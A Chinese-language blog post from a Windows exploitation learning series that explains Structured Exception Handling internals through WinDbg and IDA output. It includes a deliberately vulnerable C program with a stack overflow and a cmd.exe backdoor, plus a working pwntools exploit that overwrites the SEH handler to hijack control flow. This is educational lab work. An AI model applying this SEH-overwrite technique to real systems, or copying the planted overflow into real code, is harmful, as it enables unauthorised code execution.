win pwn初探(四)

这篇开始学习SEH

之前的文章链接:

win pwn初探(四)

什么是SEH

结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows 操作系统对错误或异常提供的处理技术,用于处理异常事件的程序控制结构

通俗易懂的来说就是__try,__except,__finally这些东西

SEH里面长什么样子

这个也困惑了我很长时间,网上的文献大部分都是直接讲的里面的结构体,不知道在程序里如果表现,如何通过调试去看这个SEH

用下面的程序来调试,记得关掉SAFESEH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>

void backdoor() {
system("cmd.exe");
}
int main(int argc, char **argv)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
int x = 100;
int y = 0;
int z;
char tmp[0x20];
_try {
printf("0x%p\n", backdoor);
scanf("%s", tmp);
z = x / y;
}
_except (1) {
printf("seh");
}
return 0;
}

z = x / y;这里是除数是0引起的异常,所以正常运行之后还会输出seh

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:004119B0
.text:004119B0 ; __unwind { // __except_handler4
.text:004119B0 55 push ebp
.text:004119B1 8B EC mov ebp, esp
.text:004119B3 6A FE push 0FFFFFFFEh
.text:004119B5 68 C8 91 41 00 push offset stru_4191C8
.text:004119BA 68 80 1F 41 00 push offset __except_handler4
.text:004119BF 64 A1 00 00 00 00 mov eax, large fs:0
.text:004119C5 50 push eax
.text:004119C6 81 C4 E8 FE FF FF add esp, 0FFFFFEE8h
.text:004119CC 53 push ebx
.text:004119CD 56 push esi
.text:004119CE 57 push edi

通过ida打开发现push offset __except_handler4,这个是将处理结构异常函数的地址入栈

用windbg打开此程序进行调试,在程序头下个断点

1
2
3
4
5
6
7
    test!main:
001419b0 55 push ebp
001419b1 8bec mov ebp, esp
001419b3 6afe push 0FFFFFFFEh
001419b5 68c8911400 push 1491C8h
001419ba 68801f1400 push 141F80h
001419bf 64a100000000 mov eax, dword ptr fs:[00000000h]

然后dt去查看0x141F80这个定义

1
2
3
4
5
6
7
0:000> dt 0x141F80
_except_handler4
_EXCEPTION_DISPOSITION test!_except_handler4+0(
_EXCEPTION_RECORD*,
_EXCEPTION_REGISTRATION_RECORD*,
_CONTEXT*,
void*)

可以看到会接收4个参数输入,并且该异常处理函数由系统调用,是一个回调函数,看第一个参数

1
2
3
4
5
6
7
8
0:000> dt _EXCEPTION_RECORD
test!_EXCEPTION_RECORD
+0x000 ExceptionCode : Uint4B
+0x004 ExceptionFlags : Uint4B
+0x008 ExceptionRecord : Ptr32 _EXCEPTION_RECORD
+0x00c ExceptionAddress : Ptr32 Void
+0x010 NumberParameters : Uint4B
+0x014 ExceptionInformation : [15] Uint4B

重要的就两个ExceptionCode指出异常类型、ExceptionFlags表示发生异常的代码地址,接着看第二个参数

1
2
3
4
0:000> dt _EXCEPTION_REGISTRATION_RECORD
test!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION

该结构体主要用于描述线程异常处理句柄的地址,Next指向下一个结构的指针,Handler当前异常处理回调函数的地址,看一下非常经典的图

1

TIB第一个字段就保存了SEH链表的头部指针,SEH链表中其他的节点存储在栈中,如果Next的成员的值为0xFFFFFFFF则表示在最后一个结点,当发生异常会按照顺序依次传递,直到有异常处理器处理

接着看一下第三个参数_CONTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:000> dt _CONTEXT
test!_CONTEXT
+0x000 ContextFlags : Uint4B
+0x004 Dr0 : Uint4B
+0x008 Dr1 : Uint4B
+0x00c Dr2 : Uint4B
+0x010 Dr3 : Uint4B
+0x014 Dr6 : Uint4B
+0x018 Dr7 : Uint4B
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : Uint4B
+0x090 SegFs : Uint4B
+0x094 SegEs : Uint4B
+0x098 SegDs : Uint4B
+0x09c Edi : Uint4B
+0x0a0 Esi : Uint4B
+0x0a4 Ebx : Uint4B
+0x0a8 Edx : Uint4B
+0x0ac Ecx : Uint4B
+0x0b0 Eax : Uint4B
+0x0b4 Ebp : Uint4B
+0x0b8 Eip : Uint4B
+0x0bc SegCs : Uint4B
+0x0c0 EFlags : Uint4B
+0x0c4 Esp : Uint4B
+0x0c8 SegSs : Uint4B
+0x0cc ExtendedRegisters : [512] UChar

这个结构体是用来备份CPU奇存器的值,因为多线程环境下需要这样做。每个线程内部都拥有1个CONTEXT结构体。CPU暂时离开当前线程去运行其他线程时,CPU寄存器的值就会保存到当前线程的CONTEXT结构体;CPU再次运行该线程时,会使用保存在CONTEXT结构体的值来覆盖CPU奇存器的值,然后从之前暂停的代码处继续执行。通过这种方式 ,OS可以在多线程环境下安全运行各线程

在经典图那里有没有发现发生异常之后有一个TIB,那么TIB又是什么呢

TIB(Thread Information Block,线程信息块)是保存线程基本信息的数据结构,它存在于x86的机器上,它也被称为是Win32TEB(Thread Environment Block,线程环境块)。TIB/TEB是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TIB/TEB

1
2
3
4
5
6
7
8
9
10
0:000> dt _NT_TIB
test!_NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB

第一个就是指向当前线程的SEH,StackBase和StackLimit分别指向当前线程所使用的栈的栈底和栈顶,SubSystemTib是子系统,Self指向自己

如何通过SEH来控制程序

现在知识了SEH长什么样子了,但是如何通过SEH来攻击程序呢

可以通过攻击程序的异常处理,想办法触发一个异常,程序就会转入异常处理,如果异常处理函数指针被我们覆盖,那么我们就可以通过劫持 SEH 来控制程序的后续流程

也就是去覆盖上面的_except_handler4,如果把_except_handler4给覆盖成backdoor,在异常处理的时候就会去执行backdoor,现在还有一个问题那就是_except_handler4在栈上的哪个地方

1
2
3
4
5
6
7
8
9
0:000> dc 0x010ffc64 - 0x64
010ffc00 77b45f8b 77cfac49 010ffc10 00000000 ._.wI..w........
010ffc10 00000000 010ffc2c 51802922 1b406328 ....,...").Q(c@.
010ffc20 010ffc30 5179bff5 00000000 010ffc3c 0.....yQ....<...
010ffc30 010ffc40 517bffc6 00000000 00000000 @.....{Q........
010ffc40 010ffc4c 517c02be 518e3074 010ffc60 L.....|Qt0.Q`...
010ffc50 517ffbd2 010ffcd0 00141f80 001491c8 ...Q............
010ffc60 fffffffe 010ffc84 00142403 00000001 .........$......
010ffc70 012c4d88 012c9510 00000001 012c4d88 .M,...,......M,.

还是上面那个程序0x010ffc64是ebp,0x141F80_except_handler4,可以看到在ebp - 0xc的地方是_except_handler4,刚好这个程序里有一个栈溢出,所以我们可以控制handler,程序开了GS保护但是没有用,因为先跑去处理异常了

所以现在写exp来验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from time import sleep

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('192.168.10.106', 1234)

r.recvuntil('0x')
backdoor_addr = int(r.recv(8), 16)
li('backdoor_addr = ' + hex(backdoor_addr))

p1 = b'a' * (0x64 - 0xc) + p32(backdoor_addr)
r.sendline(p1)

r.interactive()

弹了一个内存损坏的错误,点重试才可以利用成功,所以思考了一下内存损坏的错误也是在异常里,验证一下,把除0数学错误给去掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>

void backdoor() {
system("cmd.exe");
}
int main(int argc, char **argv)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
int x = 100;
int y = 0;
int z;
char tmp[0x20];
_try {
printf("0x%p\n", backdoor);
scanf("%s", tmp);
}
_except (1) {
printf("seh");
}
return 0;
}

最后依旧成功利用,所以以后控制SEH之后可以直接引发一些异常即可

总结

这里主要学习了SEH,如何去控制SEH来达到劫持程序流的目的,攻击SEH是当年最流行的手法,所以window也发布了对应的加固手法,SAFESEH和SEHOP,后面将会学习SEHOP和SAFESEH的利用

Reference

逆向工程核心原理

https://blog.csdn.net/azraelxuemo/article/details/122873073

https://codeantenna.com/a/wBulZH0YEb

https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/